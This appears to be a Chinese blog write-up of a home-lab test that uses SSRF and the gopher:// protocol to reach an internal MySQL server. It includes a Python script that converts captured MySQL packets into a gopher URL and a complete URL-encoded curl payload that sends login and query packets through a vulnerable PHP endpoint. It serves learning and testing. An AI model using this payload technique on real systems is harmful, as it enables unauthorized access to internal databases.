gopher 协议攻击内网 mysql

本地测试

一开始使用的是 centos 6.5 的虚拟机

后来发现我的 curl 为 7.19.7 版本,不支持 gopher 协议

  • 更新 curl 为最新版本
  • yum升级CURL
  • 升级glibc到2.17

但是都失败了..

如果有 centos 6.5 升级 curl 版本成功的请告诉我!

环境搭建

失败了就只能慢慢的搭环境了,一时脑抽想体验一下 docker-compose,就去装了 dnmp(docker+nginx+mysql+php) 很棒的一个项目

不过默认 php_curl 扩展没有打开,需要手动开启,否则会报错 curl_init 函数未定义

我的环境大概就成了这样:

  • 主机 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器
  • 容器内则需要通过 ip 172.19.0.1 来访问到主机

nginx 容器内放一个 获取外部资源的 curl


进行本地测试

image.png

成功通过 gopher 协议将数据传送到了 2333 端口

远程测试

1533999437946.png

抓包

使用 tcpdump 抓包

为方便抓包,mysql -h127.0.0.1 -uroot -p 指定使用 TCP/IP 套接字,否则会使用 unix 套接字

在 mysql 的认证阶段,如果有密码,那么服务端会返回一个 salt 来进行密码认证

因为我们是直接发送数据流没办法与服务端交互,因此 只能是空密码

数据处理

将原始数据转换成类似 url 的格式

#!/usr/bin/env python2
# coding: utf-8
import urllib

s = """5000000185a60f0000000001210000000000000000000000000000000000000000000000746573740014d07fd833aedda1666a97d3474aa85f399659626f6d7973716c5f6e61746976655f70617373776f726400
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031
0f0000000373686f7720646174616261736573
0100000001"""

s = "".join(s.split())

def encode(s):
    a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)
print "[+ local]", s

s = urllib.quote(s)
print "[+ url]", s

本机测试

1534000335933.png

远程测试

最终 payload 为

curl -vv ssrf/?url=gopher%3A//172.19.0.1%3A3306/_%25b0%2500%2500%2501%2585%25a6%253f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2573%2503%255f%256f%2573%2510%2564%2565%2562%2569%2561%256e%252d%256c%2569%256e%2575%2578%252d%2567%256e%2575%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2506%2531%2532%2531%2530%2535%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2507%2531%2530%252e%2531%252e%2532%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501 --output -

可以成功

1534000725105.png

许多许多坑

大概是昨晚没睡好.. 一天脑子短路

  1. 昨天用 kali 和另一个虚拟机(centos)来搞,搞了半天发现是 curl 版本太低,不支持 gopher 协议

  2. 然后想把 curl 版本升上去,一晚都没睡好,还tmd失败了

  3. 第二天起来拿 docker-compose 搭了个 环境,一开始测试没有返回数据,最坑的是 nginx 还tmd返回 200 OK,让我一度怀疑人生,检查 docker-compose 组件关系,最后发现是 php curl_init 函数未定义

  4. 这次就是 php_curl 扩展没有开,打开一下,又是一顿搜索

  5. 搭好了测试,本地测试炸了,远程测试也炸,一度怀疑我的 payload 有问题,又是检查 url格式 又是重新抓包

  6. 最后问题在于 nginx 服务器的 127.0.0.1 并没有指向我的主机..

    nginx 装在 docker 中

    主机 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器,因此可以直接 用 127.0.0.1 访问

    但是 用于测试的 2333 端口并没有进行映射,因此 nc 主机 de

    127.0.0.1:2333 对于 nginx 的 127.0.0.1:2333 来说 并没有什么卵用

现在想想,当时懒不想去配日志,猜来猜去才弄出这么多事情,得

你可能感兴趣的:(gopher 协议攻击内网 mysql)